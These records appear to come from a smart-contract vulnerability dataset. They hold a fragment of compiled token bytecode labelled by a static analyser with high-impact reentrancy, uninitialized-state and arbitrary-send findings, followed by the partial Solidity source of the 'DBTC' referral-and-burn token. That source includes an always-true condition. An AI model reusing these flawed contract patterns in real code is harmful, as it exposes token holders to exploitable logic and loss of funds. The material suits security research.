273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205846e39173982e224eaace4c7f3cb4f2c7115a7c445f1d17722498569e346ad764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,732 |
0x98874c6d3f4ca36d8f285ae5045617c51660a548
|
/***
*
* _____ _____ _____ _____
* /\ \ /\ \ /\ \ /\ \
* /::\ \ /::\ \ /::\ \ /::\ \
* /::::\ \ /::::\ \ \:::\ \ /::::\ \
* /::::::\ \ /::::::\ \ \:::\ \ /::::::\ \
* /:::/\:::\ \ /:::/\:::\ \ \:::\ \ /:::/\:::\ \
* /:::/ \:::\ \ /:::/__\:::\ \ \:::\ \ /:::/ \:::\ \
* /:::/ \:::\ \ /::::\ \:::\ \ /::::\ \ /:::/ \:::\ \
* /:::/ / \:::\ \ /::::::\ \:::\ \ /::::::\ \ /:::/ / \:::\ \
* /:::/ / \:::\ ___\ /:::/\:::\ \:::\ ___\ /:::/\:::\ \ /:::/ / \:::\ \
* /:::/____/ \:::| |/:::/__\:::\ \:::| | /:::/ \:::\____\/:::/____/ \:::\____\
* \:::\ \ /:::|____|\:::\ \:::\ /:::|____| /:::/ \::/ /\:::\ \ \::/ /
* \:::\ \ /:::/ / \:::\ \:::\/:::/ / /:::/ / \/____/ \:::\ \ \/____/
* \:::\ \ /:::/ / \:::\ \::::::/ / /:::/ / \:::\ \
* \:::\ /:::/ / \:::\ \::::/ / /:::/ / \:::\ \
* \:::\ /:::/ / \:::\ /:::/ / \::/ / \:::\ \
* \:::\/:::/ / \:::\/:::/ / \/____/ \:::\ \
* \::::::/ / \::::::/ / \:::\ \
* \::::/ / \::::/ / \:::\____\
* \::/____/ \::/____/ \::/ /
* ~~ ~~ \/____/
*
*
*
* https://dbtc.plus v1.0.0
*/
pragma solidity 0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface InterfaceDividend {
function withdrawDividendsEverything() external returns(bool);
}
contract ownerShip
{
address payable public owner;
address payable public newOwner;
event OwnershipTransferredEv(uint256 timeOfEv, address payable indexed previousOwner, address payable indexed newOwner);
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner
{
newOwner = _newOwner;
}
function acceptOwnership() public
{
require(msg.sender == newOwner);
emit OwnershipTransferredEv(now, owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract DBTC is ownerShip {
using SafeMath for uint256;
string constant public name="Decentralized Bitcoin";
string constant public symbol="DBTC";
uint256 constant public decimals=18;
uint256 public totalSupply = 210000 * ( 10 ** decimals);
uint256 public minTotalSupply = 2100 * ( 10 ** decimals);
uint256 public constant minSupply = 21 * ( 10 ** decimals);
uint256 public _burnPercent = 500; // 500 = 5%
uint256 public constant _burnPercentAll = 1000; // 300 = 3%
uint256 public constant _invite1Percent = 300; // 300 = 3%
uint256 public constant _invite2Percent = 200; // 200 =2%
address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant AirdropAddress = address(0x91De8F260f05d0aB3C51911d8B43793D82B84d66);
address public constant CreateAddress = address(0x4b5d1ebFe85f399B728F655f77142459470549A6);
address public TradeAddress;
address public dividendContractAdderess;
struct Miner {
address address1;
address address2;
}
mapping(address => Miner) public miners;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed approvedBy, address indexed spender, uint256 value);
event WhitelistFrom(address _addr, bool _whitelisted);
event WhitelistTo(address _addr, bool _whitelisted);
mapping(address => bool) public whitelistFrom;
mapping(address => bool) public whitelistTo;
constructor( ) public
{
balanceOf[CreateAddress] = 170000 * ( 10 ** decimals);
balanceOf[AirdropAddress] = 40000 * ( 10 ** decimals);
emit Transfer(address(0), CreateAddress, 170000 * ( 10 ** decimals));
emit Transfer(address(0), AirdropAddress, 40000 * ( 10 ** decimals));
}
function () payable external {}
function _isWhitelisted(address _from, address _to) internal view returns (bool) {
return whitelistFrom[_from]||whitelistTo[_to];
}
function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistTo(_addr, _whitelisted);
whitelistTo[_addr] = _whitelisted;
}
function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistFrom(_addr, _whitelisted);
whitelistFrom[_addr] = _whitelisted;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_value <= balanceOf[_from], 'Not enough balance');
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
uint256 tokensToBurn = calculatePercentage(_value,_burnPercent);
uint256 invite1to = calculatePercentage(_value,_invite1Percent);
uint256 invite2to = calculatePercentage(_value,_invite2Percent);
uint256 tokensToBurnAll = calculatePercentage(_value,_burnPercentAll);
if(_isWhitelisted(msg.sender, _to)){
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
if(msg.sender == uni && _to == TradeAddress){
_transfer(msg.sender, _to, _value);
return true;
} else if (msg.sender == TradeAddress && _to == uni){
_transfer(msg.sender, _to, _value);
return true;
}
if(msg.sender == TradeAddress && _to != uni){
if (miners[_to].address1 != address(0) && miners[_to].address2 != address(0)){
if (balanceOf[miners[_to].address1] >= minSupply && balanceOf[miners[_to].address2] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[_to].address1,invite1to);
_transfer(msg.sender, miners[_to].address2,invite2to);
_burn(msg.sender, tokensToBurn);
return true;
} else if (balanceOf[miners[_to].address1] >= minSupply && balanceOf[miners[_to].address2] < minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[_to].address1,invite1to);
_burn(msg.sender, tokensToBurn + invite2to);
return true;
} else if (balanceOf[miners[_to].address1] < minSupply && balanceOf[miners[_to].address2] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[_to].address2,invite2to);
_burn(msg.sender, tokensToBurn + invite1to);
return true;
} else {
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
} else if (miners[_to].address1 != address(0)){
if (balanceOf[miners[_to].address1] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn );
_transfer(msg.sender, miners[_to].address1,invite1to);
_burn(msg.sender, tokensToBurn + invite2to);
return true;
} else {
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
}
}
if (miners[msg.sender].address1 != address(0) && miners[msg.sender].address2 != address(0) && miners[_to].address1 != address(0)){
if (balanceOf[miners[msg.sender].address1] >= minSupply && balanceOf[miners[msg.sender].address2] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address1,invite1to);
_transfer(msg.sender, miners[msg.sender].address2,invite2to);
_burn(msg.sender, tokensToBurn);
return true;
} else if (balanceOf[miners[msg.sender].address1] >= minSupply && balanceOf[miners[msg.sender].address2] < minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address1,invite1to);
_burn(msg.sender, tokensToBurn + invite2to);
return true;
} else if (balanceOf[miners[msg.sender].address1] < minSupply && balanceOf[miners[msg.sender].address2] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address2,invite2to);
_burn(msg.sender, tokensToBurn + invite1to);
return true;
} else {
_transfer(msg.sender, _to, _value - tokensToBurnAll);
_burn(msg.sender, tokensToBurnAll);
return true;
}
} else if (miners[msg.sender].address1 != address(0) && miners[msg.sender].address2 != address(0) && miners[_to].address1 == address(0)){
if (balanceOf[miners[msg.sender].address1] >= minSupply && balanceOf[miners[msg.sender].address2] >= minSupply){
if ( _to != msg.sender || _to!= TradeAddress || _to!= uni){
if(miners[_to].address1 == address(0)){
if(balanceOf[msg.sender] >= minSupply){
miners[_to].address1 = msg.sender;
miners[_to].address2 = miners[msg.sender].address1;
}
}
}
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address1,invite1to);
_transfer(msg.sender, miners[msg.sender].address2,invite2to);
_burn(msg.sender, tokensToBurn);
return true;
} else if (balanceOf[miners[msg.sender].address1] >= minSupply && balanceOf[miners[msg.sender].address2] < minSupply){
if ( _to != msg.sender || _to!= TradeAddress || _to!= uni){
if(miners[_to].address1 == address(0)){
if(balanceOf[msg.sender] >= minSupply){
miners[_to].address1 = msg.sender;
}
}
}
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
_transfer(msg.sender, miners[msg.sender].address1,invite1to);
_burn(msg.sender, tokensToBurn + invite2to);
return true;
} else if (balanceOf[miners[msg.sender].address1] < minSupply && balanceOf[miners[msg.sender].address2] >= minSupply){
_transfer(msg.sender, _to, _value - invite1to - invite2to - tokensToBurn);
